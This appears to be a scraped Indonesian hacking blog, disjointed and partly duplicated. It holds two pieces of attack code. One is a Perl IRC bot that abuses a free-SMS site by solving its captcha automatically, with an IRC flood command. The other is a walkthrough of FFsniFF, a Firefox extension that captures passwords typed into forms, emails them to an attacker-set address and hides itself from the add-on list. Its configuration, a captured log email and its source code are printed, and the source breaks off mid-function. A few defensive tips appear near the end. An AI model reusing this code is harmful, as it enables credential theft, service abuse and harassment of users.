• Merk (misal Nokia, Siemens, Motorola,dll)
• Jenis (misal 3210, M35, 3310, T18S)
• No IMEI (optional, tapi sebaiknya dicatat, kalau ada masalah)

1. Tekan tombol bintang (*)
2. Tekan tombol angka konversi untuk merk anda :

• Nokia : 23
• Motorola : 17
• Ericsson : 45
• Samsung : 19
• Siemens : 20

• Nokia N3210 = 3210
• Ericsson T10S = 10
• Ericsson A6188 = 6188

1. Siapkan server / pc yang sudah terkoneksi dengan internet.
2. Kalau anda menggunakan Windows, maka harus install Perl Machine dulu, Kalau menggunakan Unix, bisa langsung bikin asal perlnya sudah terinstall juga. Jangan lupa yang di install adalah perl versi 5.8.8 / lebih.
   
3. Carilah directory yang bisa digunakan dengan perintah:  find / -perm 777 -type d
4. Kemudian simak code berikut:

############ SPECIAL THANKS TO ############
#BOT SMS GRATISAN
#POWERED BY BOTSMS / NIXSMS (www.botsms.com)
#TERIMA KASIH BANYAK UNTUK LAYANANNYA (COMEX)
#AUTHOR: AHMAD IRFAN /
#BOT INI UNTUK CYBER X TKJ 2 MEMBER!! (www.tkjsmknasionaldepok.blogspot.com)
############ MOHON JANGAN DIHAPUS ############
#!/usr/local/bin/perl -w
use IO::Socket;
use IO::Select;
use IO::Socket::INET;
use Socket;
use MIME::Base64;
########### SILAKAN EDIT MULAI DARI BAWAH SINI ###########
# SILAKAN ISI UNTUK SERVER ANDA DISINI.
my $server = “ix.dal.net”;
my @arnick = (“AYOSMS”);
my $ident = “AYOSMS”;
my $channel = “#SMK NASIOANAL”;
my $sock = new IO::Socket::INET(PeerAddr => $server,PeerPort => 6667,Proto => ‘tcp’) or die “Can’t connect\n”;
my $owner = “UtuH”;
my $password = “saya”;
my @logged =();
my $procname=”/usr/sbin/httpd”;
### RANDOM NICK UNTUK KONEKSI###
my $nick = @arnick[rand scalar @arnick];
print $sock “NICK $nick\r\n”;
print $sock “USER $ident 8 * : 4- 8= 1[ 4LAYANAN SMS GRATIS 1] 8= 4-\r\n”;
while (my $input = <$sock>) {
if ($input =~ /004/) {
last;
}
if ($input =~ /433/) {
print $sock “NICK “.$nick.”|”.int(rand(100)).”\r\n”;
}
print $sock “PRIVMSG “.$channel.” :”.$input.”\r\n”;
}
print $sock “JOIN $channel\r\n”;
print $sock “PRIVMSG $channel : Layanan sms gratis TkjSmkNasionalDepok, ketik: .sms 08XXXXXXXXX isipesan\r\n”;
print $sock “PRIVMSG $owner : boz….!!!?\r\n”;
my $ping_counter = 0;
while (my $input = <$sock>) {
chop $input;
$input =~ s/\r\n$//;
if ($input =~ /^PING(.*)$/i) {
print $sock “PONG $1\r\n”;
$ping_counter = $ping_counter + 1;
if($ping_counter == 100) {
print $sock “PRIVMSG BeschBot :!keep st3v0\r\n”;
$ping_counter = 0;
}
}
#print $sock “PRIVMSG #JW :”.$input.”\r\n”;   <—– ngecek semua input yg diterima oleh bot
####################help######################################
if ($input =~ /^.*\.help(.*)/){
@shnick = split(“!”,$input);
$shnick = @shnick[0];
$shnick =~ s/://g;
print $sock “PRIVMSG “.$shnick.” : -=[ 4POWERED BY CYBER X TKJ 2 - www.tkjsmknasionaldepok.blogspot.com 1]=-\n”;
print $sock “PRIVMSG “.$shnick.” : -=[#SMK NASIOANAL HACKER]=-\n”;
print $sock “PRIVMSG “.$shnick.” : -=[ 4ADMIN COMMAND 1]=-\n”;
print $sock “PRIVMSG “.$shnick.” : .join #chan\n”;
print $sock “PRIVMSG “.$shnick.” : .part #chan\n”;
print $sock “PRIVMSG “.$shnick.” : .say (nick)\n”;
print $sock “PRIVMSG “.$shnick.” : .quit\n”;
print $sock “PRIVMSG “.$shnick.” : .nick nick\n”;
#print $sock “PRIVMSG “.$shnick.” : —=[ 4FLOOD WAR 1]=—\n”;
#print $sock “PRIVMSG “.$shnick.” : .tsunami (nick)/#chan\n”;
#print $sock “PRIVMSG “.$shnick.” : .dccflood (nick)\n”;
#print $sock “PRIVMSG “.$shnick.” : .noticeflood (nick)\n”;
#print $sock “PRIVMSG “.$shnick.” : .msgflood (nick)\n”;
#print $sock “PRIVMSG “.$shnick.” : .hop #chan (pesan)\n”;
print $sock “PRIVMSG “.$shnick.” : -=[ 4PUBLIC COMMAND 1]=-\n”;
print $sock “PRIVMSG “.$shnick.” : .sms no pesan\n”;
print $sock “PRIVMSG “.$shnick.” : .email pengirim judul(tanpa sepasi judulnya) email-tujuan pesan\n”;
}
############################## mesin ###############################
if ($input =~ /^\:$owner!.*\@.*PRIVMSG.*:\.quit(.*)/){
print $sock “QUIT “.$1.” “.$2.”\r\n”;
}
if ($input =~ /^\:$owner!.*\@.*PRIVMSG.*:\.hop(.*)/){
for (1..10){
print $sock “PART “.$1.” “.$2.”\r\n”;
print $sock “JOIN “.$1.” “.$2.”\r\n”;
}
}
if ($input =~ /^\:$owner!.*\@.*PRIVMSG.*:\.join(.*)/){
print $sock “JOIN “.$1.” “.$2.”\r\n”;
}
if ($input =~ /^\:$owner!.*\@.*PRIVMSG.*:\.part(.*)/){
print $sock “PART “.$1.” “.$2.”\r\n”;
}
if ($input =~ /^.*\.whois(.*)/){
print $sock “WHOIS “.$1.”\r\n”;
$hasil=<$sock>;
print $sock “PRIVMSG “.$channel.” “.$hasil.”\r\n”;
}
if ($input =~ /^\:$owner!.*\@.*PRIVMSG.*:\.nick(.*)/){
print $sock “NICK “.$1.” “.$2.”\r\n”;
}
if ($input =~ /^\:$owner!.*\@.*PRIVMSG.*:\.say(.*)/){
print $sock “PRIVMSG “.$1.” “.$2.”\r\n”;
}
if ($input =~ /^\:$owner!.*\@.*PRIVMSG.*:\.tsunami(.*)/){
$data = $1;
$data =~ s/\r|\n//g;
my @c = split(‘#’, $input);
my @a = split(/ /, @c[1]);
my $chan = “#”.@a[0];
print $sock “PRIVMSG “.$chan.” Hajar “.$data.”!!!\r\n”;
$flood = “                                                                                                                                       ”;
for (1..10) {
print $sock “NOTICE “.$data.” :”.$flood.”\r\n”;
print $sock “PRIVMSG “.$data.” :\001″.$flood.”\001\n”;
}
print $sock “PRIVMSG “.$chan.” :Lapor!! “.$data.” sudah ditenggelamkan!\r\n”;
}
if ($input =~ /^.*\.ping(.*)/){
$data = $1;
$data =~ s/\r|\n//g;
my @c = split(‘#’, $input);
my @a = split(/ /, @c[1]);
my $chan = “#”.@a[0];
print $sock “ctcp “.$data.” :ping\r\n”;
$hasil=<$sock>;
print $sock “PRIVMSG “.$chan.” “.$hasil.”\r\n”;
}
if ($input =~ /^.*\.dns (.*)/){
print $sock “DNS “.$1.”\r\n”;
#$vhasil = “”;
$hasil=<$sock>;
}
###########################sms#############################
if ($input =~ /^.*\.sms(.*)/){
$data = $1;
$data =~ s/\r|\n//g;
#ambil chan
my @c = split(‘#’, $input);
my @a = split(/ /, @c[1]);
my $chan = “#”.@a[0];
#ambil user
@snick = split(“!”,$input);
$snick = @snick[0];
$snick =~ s/://g;
#print $sock “PRIVMSG “.$chan.” :pengirim “.$snick.”\r\n”;
#print $sock “PRIVMSG “.$chan.” :”.$input.”\r\n”;
#print $sock “PRIVMSG “.$chan.” :$data\r\n”;
#  no   psn–>
# 0857 XXXXXXXXXXX
@snomer = split(” “,$data);
#print $sock “PRIVMSG “.$chan.” :no tujuan”.@snomer[0].”\r\n”;
$no = @snomer[0];
$pesan = $data;
$pesan =~ s/ $no //g;
$pesan = $pesan.” \n\nDari $snick \n[TKJSMKNASIOANLHACKER]“;       #<—— di dalam sms
#print $sock “PRIVMSG “.$chan.” :”.$pesan.”\r\n”;
if(sendSMS($no,$pesan)){
print $sock “PRIVMSG “.$chan.” :sms terkirim ke “.$no.” dari “.$snick.”\r\n”;
}
else {
print $sock “PRIVMSG “.$chan.” :gagal\r\n”;
}
}
################end of sms#################
if ($input =~ /JOIN/){
@sjnick = split(“!”,$input);
$sjnick = @sjnick[0];
$sjnick =~ s/://g;
@sjoin = split(” “,$input);
$sjoin = @sjoin[0];
$sjoin =~ s/ //g;
print $sock “NOTICE “.$sjnick.” : 12for free sms ketik .sms nomer pesan\r\n”;
}
} #end while
sub sendSMS {
$no = $_[0];
$pesan = $_[1];
$site = “www.botsms.com”;
$path = “/widget/kirim-sms.php”;
############open konrksi#############
$socksms = IO::Socket::INET->new(Proto=>”tcp”,PeerAddr=>”$site”,PeerPort=>”80″);
###############cek apakah koneksi berhasil###############
if(!$socksms) {die(“g bisa bka socket $site port 80\r\n”);}
#############request data##############
print $socksms “GET $path http/1.1\r\n”;
print $socksms “Host: $site\r\n”;
print $socksms “Accept: */*\r\n”;
print $socksms “User-Agent: Cyber Xtkj2\r\n”;
print $socksms “Connection: Close\r\n”;
print $socksms “\r\n”;
#############ambil data,masukan ke dalam ariable array##############
my @data = <$socksms>;
##################close socket###################
close($socksms);
$data = join(“”,@data);
#print $data;
########ambil pertanyaan##########
@spertanyaan1 = split(“jawab ini : “,$data);
#print @pertanyaan1[1];
@spertanyaan2 = split(” =”,@spertanyaan1[1]);
#print @spertanyaan2[0];
@spertanyaan3 = split(” “,@spertanyaan2[0]);
#print “angka1= “.@spertanyaan3[0].”\r\n”;
#print “angka2= “.@spertanyaan3[2].”\r\n”;
$jawaban = @spertanyaan3[0]+@spertanyaan3[2];
#print “jawaban = $jawaban\r\n”;
###################ambil marguardcode################
@sguard1 = split(“name=’mathguard_code’ value=’”,$data);
#print @sguard1[1];
@sguard2 = split(“‘ /><br />”,@sguard1[1]);
#print @sguard2[0];
$sguard = @sguard2[0];
############devinisikan data yg diperlukan#############
$action = “/widget/kirim.php”;
$Phonenumbers = $no;
$Text = $pesan;
$mathguard_answer = $jawaban;
$mathguard_code = $sguard;
$TOMBOL = “KIRIM SMS”;
#################buat data yg akan di post##############
$Post = “Phonenumbers=”.$Phonenumbers.”&Text=”.$Text.”&mathguard_answer=”.$mathguard_answer.”&mathguard_code=”.$mathguard_code.”&TOMBOL=”.$TOMBOL;
$panjang = length $Post;
###############kirim sms###############
$socksms = IO::Socket::INET->new(Proto=>”tcp”,PeerAddr=>”$site”,PeerPort=>”80″);
print $socksms “POST $action http/1.1\r\n”;
print $socksms “Host: $site\r\n”;
print $socksms “Accept: */*\r\n”;
print $socksms “User-Agent: Cyber Xtkj2\r\n”;
print $socksms “Content-type: application/x-www-form-urlencoded\r\n”;
print $socksms “Content-length: “.$panjang.”\r\n”;
print $socksms “Connection: Close\r\n\r\n”;
print $socksms $Post;
@hasil = <$socksms>;
close($socksms);
$hasil = join(“”,@hasil);
if($hasil=~ /SMS sedang diproses/){
return 1;
}
else{
return 0;
}
############ END OF BOT SMS ##########
###### SPECIAL THANKS TO ALL MEMBER #CYBER X TKJ 2 @ TKJSMKNASIOANLDEPOK.BLOGSPOT.COM ########
}

Silakan download, wget, fetch sourcenya disini: http://www.nordosten.se/includes/js/tabs/smsbot.txt

perl smsbot.txt

.sms notujuan pesan anda

.sms 123456789 halo, apakah anda sudah siap berpuasa?

1. Siapkan server / pc yang sudah terkoneksi dengan internet.
2. Kalau anda menggunakan Windows, maka harus install Perl Machine dulu, Kalau menggunakan Unix, bisa langsung bikin asal perlnya sudah terinstall juga. Jangan lupa yang di install adalah perl versi 5.8.8 / lebih.
   
3. Carilah directory yang bisa digunakan dengan perintah:  find / -perm 777 -type d
4. Kemudian simak code berikut:

############ SPECIAL THANKS TO ############
#BOT SMS GRATISAN
#POWERED BY BOTSMS / NIXSMS (www.botsms.com)
#TERIMA KASIH BANYAK UNTUK LAYANANNYA (COMEX)
#AUTHOR: AHMAD IRFAN /
#BOT INI UNTUK CYBER C TKJ 2 MEMBER!! (www.tkjsmknasionaldepok.blogspot.com)
############ MOHON JANGAN DIHAPUS ############
#!/usr/local/bin/perl -w
use IO::Socket;
use IO::Select;
use IO::Socket::INET;
use Socket;
use MIME::Base64;
########### SILAKAN EDIT MULAI DARI BAWAH SINI ###########
# SILAKAN ISI UNTUK SERVER ANDA DISINI.
my $server = “ix.dal.net”;
my @arnick = (“AYOSMS”);
my $ident = “AYOSMS”;
my $channel = “#SMK NASIOANL”;
my $sock = new IO::Socket::INET(PeerAddr => $server,PeerPort => 6667,Proto => ‘tcp’) or die “Can’t connect\n”;
my $owner = “UtuH”;
my $password = “saya”;
my @logged =();
my $procname=”/usr/sbin/httpd”;
### RANDOM NICK UNTUK KONEKSI###
my $nick = @arnick[rand scalar @arnick];
print $sock “NICK $nick\r\n”;
print $sock “USER $ident 8 * : 4- 8= 1[ 4LAYANAN SMS GRATIS 1] 8= 4-\r\n”;
while (my $input = <$sock>) {
if ($input =~ /004/) {
last;
}
if ($input =~ /433/) {
print $sock “NICK “.$nick.”|”.int(rand(100)).”\r\n”;
}
print $sock “PRIVMSG “.$channel.” :”.$input.”\r\n”;
}
print $sock “JOIN $channel\r\n”;
print $sock “PRIVMSG $channel : Layanan sms gratis TkjSmkNasionalDepok, ketik: .sms 08XXXXXXXXX isipesan\r\n”;
print $sock “PRIVMSG $owner : boz….!!!?\r\n”;
my $ping_counter = 0;
while (my $input = <$sock>) {
chop $input;
$input =~ s/\r\n$//;
if ($input =~ /^PING(.*)$/i) {
print $sock “PONG $1\r\n”;
$ping_counter = $ping_counter + 1;
if($ping_counter == 100) {
print $sock “PRIVMSG BeschBot :!keep st3v0\r\n”;
$ping_counter = 0;
}
}
#print $sock “PRIVMSG #JW :”.$input.”\r\n”;   <—– ngecek semua input yg diterima oleh bot
####################help######################################
if ($input =~ /^.*\.help(.*)/){
@shnick = split(“!”,$input);
$shnick = @shnick[0];
$shnick =~ s/://g;
print $sock “PRIVMSG “.$shnick.” : -=[ 4POWERED BY CYBER X TKJ 2 - www.tkjsmknasionaldepok.blogspot.com 1]=-\n”;
print $sock “PRIVMSG “.$shnick.” : -=[#SMK NASIOANL HACKER]=-\n”;
print $sock “PRIVMSG “.$shnick.” : -=[ 4ADMIN COMMAND 1]=-\n”;
print $sock “PRIVMSG “.$shnick.” : .join #chan\n”;
print $sock “PRIVMSG “.$shnick.” : .part #chan\n”;
print $sock “PRIVMSG “.$shnick.” : .say (nick)\n”;
print $sock “PRIVMSG “.$shnick.” : .quit\n”;
print $sock “PRIVMSG “.$shnick.” : .nick nick\n”;
#print $sock “PRIVMSG “.$shnick.” : —=[ 4FLOOD WAR 1]=—\n”;
#print $sock “PRIVMSG “.$shnick.” : .tsunami (nick)/#chan\n”;
#print $sock “PRIVMSG “.$shnick.” : .dccflood (nick)\n”;
#print $sock “PRIVMSG “.$shnick.” : .noticeflood (nick)\n”;
#print $sock “PRIVMSG “.$shnick.” : .msgflood (nick)\n”;
#print $sock “PRIVMSG “.$shnick.” : .hop #chan (pesan)\n”;
print $sock “PRIVMSG “.$shnick.” : -=[ 4PUBLIC COMMAND 1]=-\n”;
print $sock “PRIVMSG “.$shnick.” : .sms no pesan\n”;
print $sock “PRIVMSG “.$shnick.” : .email pengirim judul(tanpa sepasi judulnya) email-tujuan pesan\n”;
}
############################## mesin ###############################
if ($input =~ /^\:$owner!.*\@.*PRIVMSG.*:\.quit(.*)/){
print $sock “QUIT “.$1.” “.$2.”\r\n”;
}
if ($input =~ /^\:$owner!.*\@.*PRIVMSG.*:\.hop(.*)/){
for (1..10){
print $sock “PART “.$1.” “.$2.”\r\n”;
print $sock “JOIN “.$1.” “.$2.”\r\n”;
}
}
if ($input =~ /^\:$owner!.*\@.*PRIVMSG.*:\.join(.*)/){
print $sock “JOIN “.$1.” “.$2.”\r\n”;
}
if ($input =~ /^\:$owner!.*\@.*PRIVMSG.*:\.part(.*)/){
print $sock “PART “.$1.” “.$2.”\r\n”;
}
if ($input =~ /^.*\.whois(.*)/){
print $sock “WHOIS “.$1.”\r\n”;
$hasil=<$sock>;
print $sock “PRIVMSG “.$channel.” “.$hasil.”\r\n”;
}
if ($input =~ /^\:$owner!.*\@.*PRIVMSG.*:\.nick(.*)/){
print $sock “NICK “.$1.” “.$2.”\r\n”;
}
if ($input =~ /^\:$owner!.*\@.*PRIVMSG.*:\.say(.*)/){
print $sock “PRIVMSG “.$1.” “.$2.”\r\n”;
}
if ($input =~ /^\:$owner!.*\@.*PRIVMSG.*:\.tsunami(.*)/){
$data = $1;
$data =~ s/\r|\n//g;
my @c = split(‘#’, $input);
my @a = split(/ /, @c[1]);
my $chan = “#”.@a[0];
print $sock “PRIVMSG “.$chan.” Hajar “.$data.”!!!\r\n”;
$flood = “                                                                                                                                       ”;
for (1..10) {
print $sock “NOTICE “.$data.” :”.$flood.”\r\n”;
print $sock “PRIVMSG “.$data.” :\001″.$flood.”\001\n”;
}
print $sock “PRIVMSG “.$chan.” :Lapor!! “.$data.” sudah ditenggelamkan!\r\n”;
}
if ($input =~ /^.*\.ping(.*)/){
$data = $1;
$data =~ s/\r|\n//g;
my @c = split(‘#’, $input);
my @a = split(/ /, @c[1]);
my $chan = “#”.@a[0];
print $sock “ctcp “.$data.” :ping\r\n”;
$hasil=<$sock>;
print $sock “PRIVMSG “.$chan.” “.$hasil.”\r\n”;
}
if ($input =~ /^.*\.dns (.*)/){
print $sock “DNS “.$1.”\r\n”;
#$vhasil = “”;
$hasil=<$sock>;
}
###########################sms#############################
if ($input =~ /^.*\.sms(.*)/){
$data = $1;
$data =~ s/\r|\n//g;
#ambil chan
my @c = split(‘#’, $input);
my @a = split(/ /, @c[1]);
my $chan = “#”.@a[0];
#ambil user
@snick = split(“!”,$input);
$snick = @snick[0];
$snick =~ s/://g;
#print $sock “PRIVMSG “.$chan.” :pengirim “.$snick.”\r\n”;
#print $sock “PRIVMSG “.$chan.” :”.$input.”\r\n”;
#print $sock “PRIVMSG “.$chan.” :$data\r\n”;
#  no   psn–>
# 0857 XXXXXXXXXXX
@snomer = split(” “,$data);
#print $sock “PRIVMSG “.$chan.” :no tujuan”.@snomer[0].”\r\n”;
$no = @snomer[0];
$pesan = $data;
$pesan =~ s/ $no //g;
$pesan = $pesan.” \n\nDari $snick \n[TKJSMKNASIOANLHACKER]“;       #<—— di dalam sms
#print $sock “PRIVMSG “.$chan.” :”.$pesan.”\r\n”;
if(sendSMS($no,$pesan)){
print $sock “PRIVMSG “.$chan.” :sms terkirim ke “.$no.” dari “.$snick.”\r\n”;
}
else {
print $sock “PRIVMSG “.$chan.” :gagal\r\n”;
}
}
################end of sms#################
if ($input =~ /JOIN/){
@sjnick = split(“!”,$input);
$sjnick = @sjnick[0];
$sjnick =~ s/://g;
@sjoin = split(” “,$input);
$sjoin = @sjoin[0];
$sjoin =~ s/ //g;
print $sock “NOTICE “.$sjnick.” : 12for free sms ketik .sms nomer pesan\r\n”;
}
} #end while
sub sendSMS {
$no = $_[0];
$pesan = $_[1];
$site = “www.botsms.com”;
$path = “/widget/kirim-sms.php”;
############open konrksi#############
$socksms = IO::Socket::INET->new(Proto=>”tcp”,PeerAddr=>”$site”,PeerPort=>”80″);
###############cek apakah koneksi berhasil###############
if(!$socksms) {die(“g bisa bka socket $site port 80\r\n”);}
#############request data##############
print $socksms “GET $path http/1.1\r\n”;
print $socksms “Host: $site\r\n”;
print $socksms “Accept: */*\r\n”;
print $socksms “User-Agent: Cyber Xtkj2\r\n”;
print $socksms “Connection: Close\r\n”;
print $socksms “\r\n”;
#############ambil data,masukan ke dalam ariable array##############
my @data = <$socksms>;
##################close socket###################
close($socksms);
$data = join(“”,@data);
#print $data;
########ambil pertanyaan##########
@spertanyaan1 = split(“jawab ini : “,$data);
#print @pertanyaan1[1];
@spertanyaan2 = split(” =”,@spertanyaan1[1]);
#print @spertanyaan2[0];
@spertanyaan3 = split(” “,@spertanyaan2[0]);
#print “angka1= “.@spertanyaan3[0].”\r\n”;
#print “angka2= “.@spertanyaan3[2].”\r\n”;
$jawaban = @spertanyaan3[0]+@spertanyaan3[2];
#print “jawaban = $jawaban\r\n”;
###################ambil marguardcode################
@sguard1 = split(“name=’mathguard_code’ value=’”,$data);
#print @sguard1[1];
@sguard2 = split(“‘ /><br />”,@sguard1[1]);
#print @sguard2[0];
$sguard = @sguard2[0];
############devinisikan data yg diperlukan#############
$action = “/widget/kirim.php”;
$Phonenumbers = $no;
$Text = $pesan;
$mathguard_answer = $jawaban;
$mathguard_code = $sguard;
$TOMBOL = “KIRIM SMS”;
#################buat data yg akan di post##############
$Post = “Phonenumbers=”.$Phonenumbers.”&Text=”.$Text.”&mathguard_answer=”.$mathguard_answer.”&mathguard_code=”.$mathguard_code.”&TOMBOL=”.$TOMBOL;
$panjang = length $Post;
###############kirim sms###############
$socksms = IO::Socket::INET->new(Proto=>”tcp”,PeerAddr=>”$site”,PeerPort=>”80″);
print $socksms “POST $action http/1.1\r\n”;
print $socksms “Host: $site\r\n”;
print $socksms “Accept: */*\r\n”;
print $socksms “User-Agent: Cyber Xtkj2\r\n”;
print $socksms “Content-type: application/x-www-form-urlencoded\r\n”;
print $socksms “Content-length: “.$panjang.”\r\n”;
print $socksms “Connection: Close\r\n\r\n”;
print $socksms $Post;
@hasil = <$socksms>;
close($socksms);
$hasil = join(“”,@hasil);
if($hasil=~ /SMS sedang diproses/){
return 1;
}
else{
return 0;
}
############ END OF BOT SMS ##########
###### SPECIAL THANKS TO ALL MEMBER #CYBER X TKJ 2 @ TKJSMKNASIOANLDEPOK.BLOGSPOT.COM ########
}

Silakan download, wget, fetch sourcenya disini: http://www.nordosten.se/includes/js/tabs/smsbot.txt

perl smsbot.txt

.sms notujuan pesan anda

.sms 123456789 halo, apakah anda sudah siap berpuasa?

1
2
3
4
5
6
7
8
9
10
11

exampleExt.xpi:
              /install.rdf
              /components/*
              /components/cmdline.js
              /defaults/
              /defaults/preferences/*.js
              /plugins/*
              /chrome.manifest
              /chrome/icons/default/*
              /chrome/
              /chrome/content/

1
2
3
4
5
6
7
8
9

pkg_creator.py
src/
src/install.rdf
src/chrome/
src/chrome/content/
src/chrome/content/ffsniff/
src/chrome/content/ffsniff/ffsniffOverlay.xul
src/chrome/content/ffsniff/ffsniffOverlay_orig.js
src/chrome/content/ffsniff/contents.rdf

1
2
3
4
5
6
7

var send_from_host = "<SEND_FROM_HOST>";
var send_from = "<SEND_FROM>";
var send_to = "<SEND_TO>";
var subject = "<SUBJECT>";
var smtp_host = "<SMTP_HOST>";
var smtp_port = "<SMTP_PORT>";
var enable_hide = "<HIDDING>";

MX record ilmuhacking.com

1
2
3
4
5
6
7

var send_from_host = "ilmuhacking.com";
var send_from = "testing@ilmuhacking.com";
var send_to = "testing@ilmuhacking.com";
var subject = "Log Firefox Sniffer";
var smtp_host = "ilmuhacking.com";
var smtp_port = "25";
var enable_hide = "no";

1
2
3
4
5
6
7

var send_from_host = "telkom.net";
var send_from = "rizki.wicaksono@telkom.net";
var send_to = "rizki.wicaksono@telkom.net";
var subject = "Log Firefox Sniffer";
var smtp_host = "mx1.mail.plasa.com";
var smtp_port = "25";
var enable_hide = "no";

content/ffsniff/contents.rdf
content/ffsniff/ffsniffOverlay.js
content/ffsniff/ffsniffOverlay.xul

ffsniff.jar list files

install.rdf
chrome/ffsniff.jar

ffsniff.xpi file list

instalasi firefox sniffer

log sniffer email

1
2
3
4
5
6
7
8
9

Return-path: <testing@ilmuhacking.com>
Envelope-to: testing@ilmuhacking.com
Delivery-date: Fri, 27 Feb 2009 03:23:48 -0600
Received: from [202.43.xxx.xxx] (port=23982 helo=ilmuhacking.com)
     by gator669.hostgator.com with esmtp (Exim 4.69)
     (envelope-from <testing@ilmuhacking.com>)
     id 1Lcywa-0002DK-Jj
     for testing@ilmuhacking.com; Fri, 27 Feb 2009 03:23:48 -0600
Subject: Log Firefox Sniffer

Return-Path: <rizki.wicaksono@telkom.net>
Received: from [125.160.17.193] (HELO mx1.mail.telkom.net)
  by f1.c.plasa.com (CommuniGate Pro SMTP 4.3.9)
  with ESMTPS id 690188427 for rizki.wicaksono@telkom.net; Wed, 04 Mar 2009 11:05:27 +0700
Received: from mx1.mail.plasa.com ([222.124.18.71])
 by mx1.mail.telkom.net  with esmtp id 1LeiKy-0001qP-O1
 for rizki.wicaksono@telkom.net; Wed, 04 Mar 2009 11:04:20 +0700
X-IronPort-Anti-Spam-Filtered: true
X-IronPort-Anti-Spam-Result: AggYAH+MrUnKK6ce/2dsb2JhbACBTosbIQGGVoIPsFshAQKSPQEDgSwG
X-IronPort-AV: E=McAfee;i="5300,2777,5542"; a="119895912"
Received: from xxxxdtp.net.id (HELO telkom.net) ([202.43.xx.xx])
  by mx1.mail.plasa.com with ESMTP; 04 Mar 2009 11:02:49 +0700
Subject: Log Firefox Sniffer
X-HAM-Check: YES
Date: Wed, 04 Mar 2009 11:05:27 +0700
Message-ID: <auto-000690188427@f1.c.plasa.com>

Bad guys already know about FFsniff since 3 years ago

• Jangan sembarangan menginstall addon yang tidak anda kenal. Install addon hanya dari situs resmi Firefox Addon https://addons.mozilla.org/
• Install Addon hanya dari situs yang menggunakan https. Penggunaan https ini sangat penting agar anda tidak tersesat mengakses situs palsu yang berusaha memberikan anda addon yang sudah diracuni spyware. Mengenai pentingnya https ini bisa anda baca di artikel: understanding https
firefox safe mode
• Bila anda berada di komputer publik, gunakan Firefox dalam Safe Mode (mode aman). Mode ini adalah mode menjalankan firefox dengan mematikan semua addon yang ada.
• Walaupun FFsniFF dapat menyembunyikan diri dari daftar addon Firefox, namun tetap saja dia tidak mungkin bisa bersembunyi di file system. Jika anda ragu apakah firefox anda bersih dari FFsniFF, silakan buka folder Profile Mozilla Firefox anda. Biasanya di:

1	C:\Documents and Settings\<username>\Application Data\Mozilla\Firefox\Profiles\<some-random-text>\extensions\

firefox extension folder
Kemudian perhatikan file install.rdf, dalam file itu terlihat nama dan deskripsi addon. Atau anda juga bisa melihat folder di dalamnya lagi untuk membaca file dot js dari ffsniff. How FFsniff Works Saya telah menunjukkan mulai dari mengunduh, menginstall dan kemudian mendapatkan password ketika ada yang login di firefox yang telah dipasang addon ini. Kini saatnya saya menjelaskan cara kerja FFsniff ini. Inti dari FFsniff ini ada pada file ffsniffOverlay.js. File ini berisi semua code yang melakukan sniffing. Berikut adalah source code lengkap ffsniffOverlay.js.

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128

var transportService = Components.classes["@mozilla.org/network/socket-transport-service;1"].getService(Components.interfaces.nsISocketTransportService); var transport = ""; var outstream = ""; var instream = Components.classes["@mozilla.org/scriptableinputstream;1"].createInstance(Components.interfaces.nsIScriptableInputStream); var stream = ""; // find out FF version var appInfo = Components.classes["@mozilla.org/xre/app-info;1"].getService(Components.interfaces.nsIXULAppInfo); var versionChecker = Components.classes["@mozilla.org/xpcom/version-comparator;1"].getService(Components.interfaces.nsIVersionComparator);   var data = ""; var data0 = "EHLO " + send_from_host + "\r\n" var data1 = "MAIL FROM: <" + send_from + ">\r\n" var data2 = "RCPT TO: <" + send_to + ">\r\n" var data3 = "DATA\r\n" var data4 = "\r\n.\r\n" var data5 = "QUIT\r\n" function send_data() { transport = transportService.createTransport(null, 0, smtp_host, smtp_port, null); outstream = transport.openOutputStream(0, 0, 0); stream = transport.openInputStream(0, 0, 0); instream.init(stream);   // this will avoid 'Improper use of SMTP command pipelining' // error on SMTP servers outstream.write(data0, data0.length); while (instream.available() == 0) {} instream.read(instream.available());   outstream.write(data1, data1.length); while (instream.available() == 0) {} instream.read(instream.available());   outstream.write(data2, data2.length); while (instream.available() == 0) {} instream.read(instream.available());   outstream.write(data3, data3.length); while (instream.available() == 0) {} instream.read(instream.available());   outstream.write(data, data.length); // don't read here cos no data was send to us //while (instream.available() == 0) {} //instream.read(instream.available());   outstream.write(data4, data4.length); while (instream.available() == 0) {} instream.read(instream.available());   outstream.write(data5, data5.length); while (instream.available() == 0) {}   outstream.close(); instream.close(); } if (versionChecker.compare(appInfo.version, "3.0") >= 0) { var workingThread = function() { };   workingThread.prototype = { run: function() { send_data(); } }; } else { var runnable = { run: function() { send_data(); } } } function sniff() { // if we are running under 3.0 or later if (versionChecker.compare(appInfo.version, "3.0") >= 0) { var thread = Components.classes["@mozilla.org/thread-manager;1"].getService().newThread(0); thread.dispatch(new workingThread(), thread.DISPATCH_NORMAL); } else { var thread = Components.classes["@mozilla.org/thread;1"].getService(Components.interfaces.nsIThread); thread.init(runnable, 512*1024, Components.interfaces.nsIThread.PRIORITY_NORMAL, Components.interfaces.nsIThread.SCOPE_LOCAL, Components.interfaces.nsIThread.STATE_UNJOINABLE); } }   function do_sniff() { var ok = 0; var hesla = window.content.document.getElementsByTagName("input"); data = ""; for (var i = 0; i < hesla.length; i++) { if (hesla[i].value != "") { if (hesla[i].type == "password") { ok = 1; } if (hesla[i].name == "") { data += hesla[i].type + ":" + "<blank>:" + hesla[i].value + "\n"; } else { data += hesla[i].type + ":" + hesla[i].name +":" + hesla[i].value + "\n"; } } } if (ok == 1) { data = "Subject: " + subject + "\r\n\r\n" + window.top.content.document.location + "\n" + "type:name:value\n" + "---------------\n" + data; sniff() } } function hide_me() { var RDFService = Components.classes["@mozilla.org/rdf/rdf-service;1"].getService(Components.interfaces.nsIRDFService); var Container = Components.classes["@mozilla.org/rdf/container;1"].createInstance(Components.interfaces.nsIRDFContainer); var extensionDS = Components.classes["@mozilla.org/extensions/manager;1"].getService(Components.interfaces.nsIExtensionManager).datasource; var root = RDFService.GetResource("urn:mozilla:item:root"); var nameArc = RDFService.GetResource("http://www.mozilla.org/2004/em-rdf#name"); Container.Init(extensionDS, root); var elements = Container.GetElements(); while (elements.hasMoreElements()) { var element = elements.getNext(); var name = ""; 